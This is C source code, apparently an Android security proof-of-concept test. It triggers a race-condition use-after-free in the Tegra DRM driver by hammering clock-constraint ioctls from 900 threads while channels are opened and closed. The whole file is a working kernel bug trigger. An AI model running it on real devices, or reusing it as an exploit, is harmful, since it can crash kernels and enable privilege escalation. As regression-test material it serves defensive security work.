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      1 /*
      2  * Copyright (C) 2016 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 #include <stdio.h>
     18 #include <stdlib.h>
     19 #include <pthread.h>
     20 #include <sys/ioctl.h>
     21 #include <errno.h>
     22 #include <sys/stat.h>
     23 #include <fcntl.h>
     24 #include <sched.h>
     25 #include <sys/types.h>
     26 #include <signal.h>
     27 #include <unistd.h>
     28 
     29 #define CLK_THREAD_NUM	900
     30 #define TRY_TIMES	CLK_THREAD_NUM
     31 #define DEV "/dev/dri/renderD129"
     32 
     33 #define SIOCIWFIRSTPRIV 0x8BE0
     34 #define SIOCGIWNAME     0x8B01
     35 #define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
     36 #define PRIV_CUSTOM_BWCS_CMD            13
     37 #define PRIV_CMD_OID                    15
     38 #define PRIV_CMD_SW_CTRL                20
     39 #define PRIV_CMD_WSC_PROBE_REQ          22
     40 
     41 enum host1x_class {
     42         HOST1X_CLASS_HOST1X = 0x1,
     43         HOST1X_CLASS_NVENC = 0x21,
     44         HOST1X_CLASS_VI = 0x30,
     45         HOST1X_CLASS_ISPA = 0x32,
     46         HOST1X_CLASS_ISPB = 0x34,
     47         HOST1X_CLASS_GR2D = 0x51,
     48         HOST1X_CLASS_GR2D_SB = 0x52,
     49         HOST1X_CLASS_VIC = 0x5D,
     50         HOST1X_CLASS_GR3D = 0x60,
     51         HOST1X_CLASS_NVJPG = 0xC0,
     52         HOST1X_CLASS_NVDEC = 0xF0,
     53 };
     54 
     55 #define DRM_COMMAND_BASE                0x40
     56 #define DRM_COMMAND_END                 0xA0
     57 
     58 #define DRM_TEGRA_OPEN_CHANNEL          0x05
     59 #define DRM_TEGRA_CLOSE_CHANNEL         0x06
     60 #define DRM_TEGRA_SET_CLK_CONSTRAINT	0x13
     61 struct drm_tegra_open_channel {
     62         __u32 client;
     63         __u32 pad;
     64     volatile __u64 context;
     65 };
     66 
     67 struct drm_tegra_close_channel {
     68     volatile __u64 context;
     69 };
     70 
     71 struct drm_tegra_constraint {
     72 	__u64 context;
     73 	__u32 index;
     74 	__u32 type;
     75 	__u32 rate;
     76 	__u32 pad;
     77 };
     78 
     79 #define DRM_IOCTL_BASE                  'd'
     80 #define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
     81 
     82 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
     83 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
     84 #define DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SET_CLK_CONSTRAINT, struct drm_tegra_constraint)
     85 int fd;
     86 pthread_t clk_thread_id[CLK_THREAD_NUM] = { 0 };
     87 
     88 volatile struct drm_tegra_open_channel open_c = { 0 };
     89 volatile struct drm_tegra_close_channel close_c = { 0 };
     90 volatile struct drm_tegra_constraint clk_c = { 0 };
     91 
     92 static int set_affinity(int num)
     93 {
     94 	int ret = 0;
     95 	cpu_set_t mask;
     96 	CPU_ZERO(&mask);
     97 	CPU_SET(num, &mask);
     98 	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
     99 	if(ret == -1){
    100 	}
    101 	return ret;
    102 }
    103 
    104 static void prepare()
    105 {
    106 	open_c.client = HOST1X_CLASS_VIC;
    107 }
    108 
    109 void* clk_thread(void* no_use)
    110 {
    111 	set_affinity(1);
    112 
    113 	while(1){
    114 		ioctl(fd, DRM_IOCTL_TEGRA_SET_CLK_CONSTRAINT, &clk_c);
    115 	}
    116 }
    117 
    118 int main()
    119 {
    120 	int i, try_time = TRY_TIMES, ret;
    121 
    122 	/* bind_cpu */
    123 	set_affinity(0);
    124 
    125 	/* open dev */
    126 	fd = open(DEV,O_RDONLY);
    127 	if(fd == -1){
    128 		return 0;
    129 	}
    130 
    131 	/* prepare ioctl cmd */
    132 	prepare();
    133 
    134 	/* create clk thread */
    135 	for(i = 0; i < CLK_THREAD_NUM; i++){
    136 		ret = pthread_create(clk_thread_id + i, NULL, clk_thread, NULL);
    137 		if(ret){
    138 			goto out_clk_thread;
    139 		}
    140 	}
    141 
    142 	while(try_time){
    143 		/* open */
    144 		ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
    145 		if(ret == 0){
    146 			try_time--;
    147 			/* set clk */
    148 			clk_c.context = open_c.context;
    149 			/* set close */
    150 			close_c.context = open_c.context;
    151 			usleep(500);
    152 			ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
    153 		}
    154 	}
    155         puts("ran 1");
    156 out_clk_thread:
    157 	/* kill clk thread */
    158 	for(i = 0; i < CLK_THREAD_NUM; i++){
    159 			pthread_kill(clk_thread_id[i], SIGKILL);
    160 	}
    161 out_dev:
    162 	close(fd);
    163         puts("ran 2");
    164 	return 0;
    165 }
    166